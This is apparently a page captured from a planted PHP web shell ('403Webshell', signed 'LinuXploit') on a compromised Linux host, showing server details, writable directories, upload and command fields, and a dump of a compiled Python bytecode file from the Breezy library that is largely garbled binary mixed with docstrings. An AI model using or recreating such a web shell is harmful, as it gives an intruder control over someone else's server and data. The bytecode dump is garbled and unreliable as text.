403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/breezy/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/breezy/__pycache__/__init__.cpython-313.pyc
�

p��g"���SrSSKr\R"5rSSKrSSKrSrSrSr\"\5r\r	SR\"\\SS55r
Sr\R"5r\"\S	S5b5\b \R$"\5R&S
:Xa\"\R(5r\cS
rO\R$"\5R&rSrSSjrSrS
rg)a�All of Breezy.

Developer documentation is available at
https://www.breezy-vcs.org/developers/.

Some particularly interesting things in breezy are:

* breezy.initialize -- setup the library for use
* breezy.plugin.load_plugins -- load all installed plugins
* breezy.branch.Branch.open -- open a branch
* breezy.workingtree.WorkingTree.open -- open a working tree

We hope you enjoy this library.
�NzHCopyright 2005-2012 Canonical Ltd.
Copyright 2017-2025 Breezy developers)�r��finalrc��[U5S:XaUSSUS3nOUSSUSSUS3n[U5S::aU$USnUSnUS:XaUS:XaSnX-$US:XaS[U5-nX-$US	:XaUS:XaS
nX-$US	:XaS
[U5-nX-$US;a.USS:Xa
USSUS3nSUS-[U5-nX-$US:XaS
[U5-nX-$SR[[U55$)aATurn a version number 2, 3 or 5-tuple into a short string.

This format matches <http://docs.python.org/dist/meta-data.html>
and the typical presentation used in Python output.

This also checks that the version is reasonable: the sub-release must be
zero for final releases.

>>> print(_format_version_tuple((1, 0, 0, 'final', 0)))
1.0.0
>>> print(_format_version_tuple((1, 2, 0, 'dev', 0)))
1.2.0.dev
>>> print(_format_version_tuple((1, 2, 0, 'dev', 1)))
1.2.0.dev1
>>> print(_format_version_tuple((1, 1, 1, 'candidate', 2)))
1.1.1.rc2
>>> print(_format_version_tuple((2, 1, 0, 'beta', 1)))
2.1.b1
>>> print(_format_version_tuple((1, 4, 0)))
1.4.0
>>> print(_format_version_tuple((1, 4)))
1.4
>>> print(_format_version_tuple((2, 1, 0, 'final', 42)))
2.1.0.42
>>> print(_format_version_tuple((1, 4, 0, 'wibble', 0)))
1.4.0.wibble.0
�r�.�r�r��devz.dev)�alpha�beta�	candidatez.rc)�len�str�join�map)�version_info�main_version�release_type�sub�
sub_strings     �1/usr/lib/python3/dist-packages/breezy/__init__.py�_format_version_tupler7s���8�<��A��&�q�/�*�!�L��O�+<�=��&�q�/�*�!�L��O�+<�A�l�1�o�=N�O��
�<��A������?�L�
�q�/�C��w��3�!�8��
� �$�$�
��	 ��3�s�8�^�
��$�$�
��	�3�!�8��
��$�$�
��	��c�#�h�&�
��$�$�
�*�	*���?�a��*�1�o�.�a��Q��/@�A�L��<��?�*�S��X�5�
��$�$�
��	$��S��X�%�
��$�$��x�x��C��.�/�/�rrc�,�SSKn[USS5nUbuURRUS5nURRUS5nURUR
UR5UR5"SU45n[R"U5nW"U5nSWl
URXaR5RWl
[R"5U:wa[!S5eU$![[4a gf=f)	a�Change the Python process global encoding for filesystem names.

The effect is to change how open() and other builtin functions handle
unicode filenames on posix systems. This should only be done near startup.

The new encoding string passed to this function must survive until process
termination, otherwise the interpreter may access uninitialized memory.
The use of intern() may defer breakage is but is not enough, the string
object should be secure against module reloading and during teardown.
rN�	pythonapi�Py_FileSystemDefaultEncoding�Py_HasFileSystemDefaultEncoding�PyUnicode_AsUTF8r	z0Failed to change the filesystem default encoding)�ctypes�getattr�c_void_p�in_dll�c_int�
PYFUNCTYPE�POINTER�c_char�	py_object�ImportError�
ValueError�sys�intern�value�cast�getfilesystemencoding�RuntimeError)�new_encr!r�old_ptr�has_enc�as_utf8�enc_ptrs       r�"_patch_filesystem_default_encodingr7vs������F�K��6�	�� ��o�o�,�,�Y�8V�W�G��l�l�)�)�)�5V�W�G��'�'����v�}�}�-�v�/?�/?��!�9�-�/�G�
�j�j��!�G��g��G��G�M��K�K����9�?�?�G�M�
� � �"�g�-��M�N�N��N��
��$����s�B	D�D�D�_brz_default_fs_enc�asciic�^�SSKJnJn U(alSSKnU=(d [R
nU=(d [RnU=(d [RnURRXU5nOSnUR5nURXxS9n	U	R5 U	$)a
Set up everything needed for normal use of breezy.

Most applications that embed breezy, including brz itself, should call
this function to initialize various subsystems.

More options may be added in future so callers should use named arguments.

The object returned by this function can be used as a contex manager
through the 'with' statement to automatically shut down when the process
is finished with breezy.  However it's not necessary to
separately enter the context as well as starting brz: breezy is ready to
go when this function returns.

:param setup_ui: If true (default) use a terminal UI; otherwise
    some other ui_factory must be assigned to `breezy.ui.ui_factory` by
    the caller.
:param stdin, stdout, stderr: If provided, use these for terminal IO;
    otherwise use the files in `sys`.
:return: A context manager for the use of breezy. The __exit__
    should be called by the caller before exiting their process or
    otherwise stopping use of breezy. Advanced callers can use
    BzrLibraryState directly.
r)�
library_state�traceN)�uir<)
�breezyr;r<�	breezy.uir,�stdin�stdout�stderrr=�make_ui_for_terminal�
DefaultConfig�BzrLibraryState�_start)
�setup_uir@rArBr;r<r>�
ui_factory�tracer�states
          r�
initializerK�s���0,����"������%�3�:�:���%�3�:�:���Y�Y�3�3�E�6�J�
��
�
�
 �
 �
"�F��)�)�Z�)�F�E�	�L�L�N��Lrc�0�[c
[5$[$)N)�
_global_staterK�rr�get_global_staterO�s�����|���rc�*�SSKnUR5$)Nr)�tests�
test_suite)rQs rrRrR�s�������r)TNNN)�__doc__�time�_start_time�codecsr,�
__copyright__rr�__version__�version_stringrrr�_core_version_stringr7r0�_fs_encr"�lookup�namer8rMrKrOrRrNrr�<module>r^s���"
���i�i�k��
�
�P��&��7%�t$�L�1�����x�x��C��b�q�)9� :�;���F�
#�
#�
%��
�3�%�t�,�8���&�-�-��0�5�5��@�4�S�5L�5L�M��
�?��G��m�m�G�$�)�)�G��
�'�T�r

Youez - 2016 - github.com/yon3zu
LinuXploit